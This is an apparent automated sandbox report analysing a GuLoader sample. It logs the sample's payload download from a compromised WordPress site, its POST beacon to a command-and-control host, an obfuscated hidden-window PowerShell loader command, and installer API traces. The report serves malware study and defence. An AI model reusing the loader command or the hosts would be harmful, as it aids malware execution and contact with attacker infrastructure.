Jan 15, 2025 17:37:48.249058008 CET	192.168.2.6	1.1.1.1	0x47bf	Standard query (0)	electricsuitcase.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.482278109 CET	192.168.2.6	1.1.1.1	0x9a0b	Standard query (0)	b2csa.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 17:37:48.288681030 CET	1.1.1.1	192.168.2.6	0x47bf	No error (0)	electricsuitcase.net	107.151.162.135	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 17:37:49.495398045 CET	1.1.1.1	192.168.2.6	0x9a0b	No error (0)	b2csa.icu	104.21.48.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

electricsuitcase.net

b2csa.icu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	52399	107.151.162.135	80	1944	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 17:37:48.298095942 CET	214	OUT	GET /wp-includes/block-bindings/wTryLAihFvcVmUK202.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: electricsuitcase.net Cache-Control: no-cache
Jan 15, 2025 17:37:48.886574984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 16:37:48 GMT Content-Type: application/octet-stream Content-Length: 114752 Last-Modified: Sat, 11 Jan 2025 08:23:23 GMT Connection: keep-alive ETag: "67822a7b-1c040" Accept-Ranges: bytes Data Raw: f5 e1 cf 10 48 82 15 75 92 de b7 df b9 df 78 81 26 5d ab 93 43 0c ac 24 13 bc 6c 0a 14 b8 d8 e3 d1 a8 a3 9c 98 df 75 9d 56 21 0e 42 48 6b 36 12 ed 59 e8 7e 3a 93 a1 52 0c c6 4e dd 37 35 8e e4 e4 ea ae f3 80 ef e5 12 10 12 1c ab 44 28 21 f8 f7 9e e1 26 69 53 e0 0c 18 be 9a f2 d8 b1 c1 c6 be fe 10 20 0c 13 c8 1c 18 cf c8 16 33 d3 c9 27 11 dc 2e d6 b7 88 fe 26 cc 33 33 49 86 55 af e7 7a 93 a0 ee 18 7a 13 19 e3 be 2e 06 84 21 db ee 8a 8d dd 17 15 3a 47 db 44 99 58 c7 04 58 01 70 e6 cc 09 29 ce 30 62 aa ee 2c a3 0e b8 c1 b1 ca 9c fb 13 3e 7d 50 5b b4 95 84 2e 76 1a bb 1c 06 7f f0 53 67 23 aa 88 69 c3 ad f9 bc a1 b8 ca 12 41 b2 1e 5b d9 17 87 c7 c0 77 33 59 b0 97 92 e8 14 59 2f 57 9e be ba 6f c7 48 70 0c d8 f9 c8 87 11 00 34 04 90 41 4d fb fb 13 2d 03 5b 08 13 bf cd f9 55 f5 9f 3f 99 4f fa 40 59 bd bb aa 5f 1d 10 96 ae 36 00 4d 93 86 f0 ef 5c d2 ed f3 8d 9f bd bb be 1b 7e fb 54 16 62 de b6 40 d7 de 87 c6 8e af 7c e5 46 b6 ea 0f ff 37 f7 20 e4 8f 1a 5e a1 89 1b 8a 0a 11 51 26 84 eb c6 4c 02 91 11 ca 08 d9 [TRUNCATED] Data Ascii: Hux&]C$luV!BHk6Y~:RN75D(!&iS 3'.&33IUzz.!:GDXXp)0b,>}P[.vSg#iA[w3YY/WoHp4AM-[U?O@Y_6M\~Tb@\|F7 ^Q&Lg~kih88lC6i\%lK`y\HQlu^39e0jL%\|hLr5KQ'g%yVny-[)#dBY-)>:s6JX-V0Fy!k<8Rjr<pEnh9Rd]T@4lJ48[{E<BQ(:%K6)v?I?x\&7f=Hlo".]tGZK'EJPyow E!^@}b&u3x+"IO?]f\&KM;k vEDDsc3bH!-H(Z=i0>Eb]U6t[vKOG1=vGgb!lX}&rf{& px@Y1UvM%I SYImv,>B">2}%)r\|]0`D$RX){H 5;W.1(#
Jan 15, 2025 17:37:48.886595011 CET	1236	IN	Data Raw: 64 e5 d0 ae 99 1a 88 21 9f 63 19 95 ba 87 bf 2d 49 dc c7 c7 c7 4d 90 da 80 73 78 04 bd d3 c4 83 92 d8 cd f0 5e 2c f8 00 e2 05 e1 2f 91 6d a3 28 db b5 51 17 23 5e 36 8b 3e 37 ef ff b2 1d 8a 8a 00 20 80 55 ab 04 61 09 6f 17 93 fb bd 51 5b fa c3 cc Data Ascii: d!c-IMsx^,/m(Q#^6>7 UaoQ[:x~h$PdXD=$fluN3{qsL_Z! T8U9W@J\|a/0d9B-FmJfCUojAZXym
Jan 15, 2025 17:37:48.886619091 CET	1236	IN	Data Raw: 7b 19 99 82 8a f1 44 69 9b 79 0f 10 a3 e1 3f 7a d9 bb b1 30 56 90 7a df 57 d3 eb 9a 92 50 5c c3 53 03 cf af 97 b4 cd 8d 61 7c f7 0c 19 57 a2 04 dc 5d b2 c0 20 ce 62 00 23 1d a6 c1 a0 6e 71 95 98 be 2c d1 ec 6f 7e e1 9f c4 24 8f 9d dd 6d bf 2d 8d Data Ascii: {Diy?z0VzWP\Sa\|W] b#nq,o~$m-4tUL<&x3\+AY-u+}V#peDs$`qH8hVo0\|O1p*APj]\|6_[^gf_TV-:c9\|)%~5t!(E]%
Jan 15, 2025 17:37:48.886635065 CET	672	IN	Data Raw: 53 03 68 4b c5 d0 67 3c 3e 95 1d 71 4c 2e 5d 55 7e 99 db da 82 f0 1f 5d 46 96 45 75 84 71 ab ac a9 0f 81 d5 2a de e4 e5 46 c5 e6 22 2a bc 05 02 60 8b fd 75 3f a1 d3 54 85 ee 99 c4 fc 68 eb 81 93 3d 99 7c 72 21 06 1d 22 fc 01 ed 76 3b a4 98 52 e2 Data Ascii: ShKg<>qL.]U~]FEuqF"`u?Th=\|r!"v;R8:,D,,KW9<$X-D0\ ED`<^<Mo0Y]?71Q2$aZ5^qU$U}lat/o,Wer?n=w11
Jan 15, 2025 17:37:48.886692047 CET	1236	IN	Data Raw: a8 15 66 3f b4 c8 cc f2 0c d8 f9 43 ec 19 8b f1 07 d3 4d c6 2b 76 1f 1a 28 8a 8b e9 b3 b2 fd de 0d b4 c1 12 89 d1 85 da 45 b7 d7 4b 90 5c b2 af bd d6 66 c0 8e f3 38 d7 17 05 36 76 60 42 50 af 96 32 df 55 9d b5 5d 5c 44 5a 98 83 2e 3c 54 83 1a cd Data Ascii: f?CM+v(EK\f86v`BP2U]\DZ.<TzoZ1zXBBkrt{VF[{\Buet{':dKyyeO]w&zrQq7y]Y{B! N%5U_d
Jan 15, 2025 17:37:48.886708021 CET	1236	IN	Data Raw: ab d9 69 b5 42 cf f3 ad b4 72 40 44 21 41 8e b0 0f f8 40 a7 77 a8 b2 09 2d cb 8f 49 85 79 47 91 e9 e0 49 4f eb e1 54 9d 06 bb 2e da ff 37 15 ad 5b 6b 09 f7 02 1d 71 7d 5a 83 60 a4 ed 0c 6c 6f 03 9e fe f6 27 0e 1d b0 89 46 69 00 69 79 5f ca f0 87 Data Ascii: iBr@D!A@w-IyGIOT.7[kq}Z`lo'Fiiy_\|{bFTA^,gih`u&\|;uAO+M"{^4>z\Cq<`QI'O.X({hp13#hwcUl8Mu\1n/b0?A
Jan 15, 2025 17:37:48.886723995 CET	448	IN	Data Raw: fc 49 bd f5 a2 05 ec 16 4d b2 c7 29 a3 df bd 25 71 37 b4 e1 df 30 06 1f 18 f8 00 aa 44 8c 18 af 96 07 73 63 50 2e 6a e5 fc d2 aa f8 da b7 88 7d c6 a4 ee 70 53 c5 48 a1 4f b8 ba b9 0f d5 68 3f 3e 45 75 a5 e9 e9 af de 21 60 d7 0b 33 fe ac 9b d3 7d Data Ascii: IM)%q70DscP.j}pSHOh?>Eu!`3}Axa>D{ RWG[h4zV_-q3fHfQ6t%Y;!4@xWFLqniu9`\|&^*,VyCeAbmb%H[v
Jan 15, 2025 17:37:48.886869907 CET	1236	IN	Data Raw: 88 47 9e 89 3b 57 ea 18 7d 45 26 42 b2 bd d4 ab 3a af a6 a5 4d c4 4f f1 6e 29 b0 05 d0 bd 3f 28 48 a4 ec d7 06 27 a9 8e fd f0 1b 79 29 7e 16 b6 8d 89 79 1e 72 bb f8 b6 b0 ba 72 c0 f7 c9 9d d2 92 2a 22 26 df 46 35 ac b8 1d da 87 1e 41 0f b9 26 3b Data Ascii: G;W}E&B:MOn)?(H'y)~yrr*"&F5A&;+]q^X\\|##qhXCnUf{_1l.P3E^HN]Kp""/.ptUfF6,4#n@%G+2!HKe%\|_y\UM) ~
Jan 15, 2025 17:37:48.886887074 CET	1236	IN	Data Raw: 10 04 c5 99 f3 0c 32 07 1e d3 66 14 d3 77 44 82 d0 81 b6 12 c3 a2 55 9d 07 de e9 7f 52 e8 c4 9f cf b3 8c 66 91 6e f9 f9 2c 6b 59 04 13 ce 86 18 30 24 83 ed 4a 02 4c 1d d4 8b 0d c1 42 0d 3a c9 21 20 9d 07 d9 8f 7d c9 f2 99 5a 29 b9 46 c1 bf 43 b1 Data Ascii: 2fwDURfn,kY0$JLB:! }Z)FCtYz97u<27*t_N4$@)= R[@vzi$ln#Fjs9K'NJ4S-Kj~c9?FOM_Remo%d9>F
Jan 15, 2025 17:37:48.886903048 CET	448	IN	Data Raw: 10 e8 87 a7 01 ce c8 d5 2c 0b d5 0a 9e 67 9d 88 72 c5 5a 6f 65 d8 69 b4 d9 17 cd 99 d2 fa 0a 2d d0 be dc 5c ee 80 85 9f 07 f7 d7 98 47 11 d6 70 1a 08 04 37 08 62 82 93 f7 5a e2 45 d4 da 89 74 60 80 0a fe fe 8e 54 fc fc 49 32 99 07 3f 72 25 46 a8 Data Ascii: ,grZoei-\Gp7bZEt`TI2?r%FLXKhI$[2]r-:@i(TBZbkEg%Ug78g#GgX8:(Bi<ZnY5C("^~!Fhzn8nA 2&,s
Jan 15, 2025 17:37:48.891781092 CET	1236	IN	Data Raw: b7 01 81 77 00 99 13 a3 54 a9 14 d0 3a 6f 58 ff ba e4 85 4c d3 10 18 b8 c8 6f d4 fe cb fb 56 44 69 3b ba 13 2d eb 3a f7 ec 40 0e aa 03 a2 21 5f 29 0e fa f1 49 36 a6 aa ef 5c 10 1d 6d 89 0a 4d 93 86 69 18 a3 52 2f c3 be 5f 37 7a 36 0f 78 70 97 ad Data Ascii: wT:oXLoVDi;-:@!_)I6\mMiR/_7z6xph@N)\|MV>3m[^3Ga&n.,u>R .=@o4Y@lO`WlK:z[X8DLr1,Lvto;#vyE&d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	52410	104.21.32.1	80	1944	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 17:37:49.501498938 CET	273	OUT	POST /PL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: b2csa.icu Content-Length: 111 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 9a 26 66 9d 45 70 9d 36 70 9d 34 10 8b 30 63 8b 30 6c 8b 31 11 e8 47 70 9d 35 13 8b 30 64 8b 30 61 8b 30 6d eb Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fEp6p40c0l1Gp50d0a0m
Jan 15, 2025 17:37:49.965646029 CET	1236	IN	HTTP/1.1 403 Forbidden Date: Wed, 15 Jan 2025 16:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTVYzcncbwZN93Zokk1tNPrNLZiYYMYKHAu2EIUPoeNNWthLUFPlwVBGThHp%2FyMTu5eqdNVYBd1rh5anhsst%2FckwQuqqF4dAP3ZVKtDqn3jU6%2B6t3qsGTbUbAwE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90274aeafed88ce6-EWR Data Raw: 31 31 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 [TRUNCATED] Data Ascii: 11d0<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-c
Jan 15, 2025 17:37:49.965702057 CET	1236	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (
Jan 15, 2025 17:37:49.965737104 CET	1236	IN	Data Raw: 69 73 68 69 6e 67 2e 3c 2f 73 74 72 6f 6e 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 50 68 69 73 68 69 6e 67 20 69 73 20 77 68 65 6e 20 61 20 73 69 74 65 20 61 74 74 65 6d 70 74 73 20 74 6f 20 73 74 65 61 6c 20 73 65 6e 73 69 74 Data Ascii: ishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p>
Jan 15, 2025 17:37:49.965773106 CET	1236	IN	Data Raw: 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 Data Ascii: -0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">90274aeafed88ce6</strong></span> <span class="cf-footer-separator sm:hidden">•</spa
Jan 15, 2025 17:37:49.965806007 CET	175	IN	Data Raw: 2d 2d 20 2f 2e 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 20 2d 2d 3e 0a 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 77 72 Data Ascii: -- /.error-footer --> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>0

Target ID:	0
Start time:	11:37:00
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\DOCU800147001.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DOCU800147001.exe"
Imagebase:	0x400000
File size:	963'872 bytes
MD5 hash:	AB99E49A4471901468BBBD9CCF228DE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:37:01
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Omrystede=gc -raw 'C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve';$Advancement=$Omrystede.SubString(71452,3);.$Advancement($Omrystede) "
Imagebase:	0xb20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2547628074.000000000B13B000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:37:01
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:37:40
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x7ff7934f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000002.2613773694.0000000005D6B000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	21.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22%
Total number of Nodes:	1257
Total number of Limit Nodes:	34

Executed Functions

Function 004030CB Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 324
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004030EC
SetErrorMode.KERNELBASE(00008001), ref: 004030F7
OleInitialize.OLE32(00000000), ref: 004030FE

Part of subcall function 00405EA5: GetModuleHandleA.KERNEL32(?,?,?,00403110,00000008), ref: 00405EB7
Part of subcall function 00405EA5: LoadLibraryA.KERNELBASE(?,?,?,00403110,00000008), ref: 00405EC2
Part of subcall function 00405EA5: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED3

SHGetFileInfoA.SHELL32(0079D4B8,00000000,?,00000160,00000000,00000008), ref: 00403126

Part of subcall function 00405B7A: lstrcpynA.KERNEL32(?,?,00000400,0040313B,Pantaloons Setup,NSIS Error), ref: 00405B87

GetCommandLineA.KERNEL32(Pantaloons Setup,NSIS Error), ref: 0040313B
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\DOCU800147001.exe",00000000), ref: 0040314E
CharNextA.USER32(00000000,"C:\Users\user\Desktop\DOCU800147001.exe",00000020), ref: 00403179
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 00403276
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403287
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403293
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032A7
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004032AF
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004032C0
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004032C8
DeleteFileA.KERNELBASE(1033), ref: 004032DC
OleUninitialize.OLE32(?), ref: 0040338A
ExitProcess.KERNEL32 ref: 004033AA
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\DOCU800147001.exe",00000000,?), ref: 004033B6
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 004033C2
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 004033CE
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 004033D5
DeleteFileA.KERNEL32(0079D0B8,0079D0B8,?,error,?), ref: 0040342E
CopyFileA.KERNEL32(C:\Users\user\Desktop\DOCU800147001.exe,0079D0B8,00000001), ref: 00403442
CloseHandle.KERNEL32(00000000,0079D0B8,0079D0B8,?,0079D0B8,00000000), ref: 0040346F
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004034C4
ExitWindowsEx.USER32(00000002,00000000), ref: 00403500
ExitProcess.KERNEL32 ref: 00403523

Strings

\Temp, xrefs: 0040328D
Pantaloons Setup, xrefs: 00403131
C:\Users\user\Desktop\DOCU800147001.exe, xrefs: 0040343D
~nsu.tmp, xrefs: 004033B0
C:\Users\user\AppData\Local\Temp\, xrefs: 0040326B, 00403270, 00403286, 00403292, 004032A1, 004032AE, 004032BA, 004032C2, 004033B5, 004033C1, 004033CD, 004033D4, 00403483
C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne, xrefs: 0040325B, 0040335C, 004033DB, 004033E4
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 00403141, 00403147, 00403300
Error launching installer, xrefs: 00403342
Low, xrefs: 004032A9
NSIS Error, xrefs: 0040312C
C:\Users\user\Desktop, xrefs: 004033BB, 004033C0, 004033E3
C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds, xrefs: 00403367
", xrefs: 0040319E
TEMP, xrefs: 004032BB
SeShutdownPrivilege, xrefs: 004034D6
error, xrefs: 004033F2
1033, xrefs: 004032D7
TMP, xrefs: 004032C3

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\DOCU800147001.exe"$1033$C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne$C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\DOCU800147001.exe$Error launching installer$Low$NSIS Error$Pantaloons Setup$SeShutdownPrivilege$TEMP$TMP$\Temp$error$~nsu.tmp
API String ID: 4107622049-1683664228
Opcode ID: bca945fe0b75715696cad3be9775b158e3384de67f76d366391c2df84a45dd97
Instruction ID: 928bf8b7717c50f7cf81e46c7c3b8c2b1ab21f80cc33b5d8a4cab443c6c74aa6
Opcode Fuzzy Hash: bca945fe0b75715696cad3be9775b158e3384de67f76d366391c2df84a45dd97
Instruction Fuzzy Hash: D0B106705083816EE7216F745C8DA2F3EA8AB86306F04057EF581B61E2C77C9A058B6E

Function 00404FA3 Relevance: 54.3, APIs: 36, Instructions: 280
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405003
GetDlgItem.USER32(?,000003EE), ref: 00405012
GetClientRect.USER32(?,?), ref: 0040504F
GetSystemMetrics.USER32(00000015), ref: 00405057
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405078
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405089
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040509C
SendMessageA.USER32(?,00001026,00000000,?), ref: 004050AA
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050BD
ShowWindow.USER32(00000000,?,0000001B,?), ref: 004050DF
ShowWindow.USER32(?,00000008), ref: 004050F3
GetDlgItem.USER32(?,000003EC), ref: 00405114
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405124
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040513D
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405149
GetDlgItem.USER32(?,000003F8), ref: 00405021

Part of subcall function 00403E9D: SendMessageA.USER32(00000028,?,00000001,00403CCE), ref: 00403EAB

GetDlgItem.USER32(?,000003EC), ref: 00405165
CreateThread.KERNELBASE(00000000,00000000,Function_00004F37,00000000), ref: 00405173
CloseHandle.KERNELBASE(00000000), ref: 0040517A
ShowWindow.USER32(00000000), ref: 0040519D
ShowWindow.USER32(?,00000008), ref: 004051A4
ShowWindow.USER32(00000008), ref: 004051EA
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040521E
CreatePopupMenu.USER32 ref: 0040522F
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405244
GetWindowRect.USER32(?,000000FF), ref: 00405264
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040527D
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052B9
OpenClipboard.USER32(00000000), ref: 004052C9
EmptyClipboard.USER32 ref: 004052CF
GlobalAlloc.KERNEL32(00000042,?), ref: 004052D8
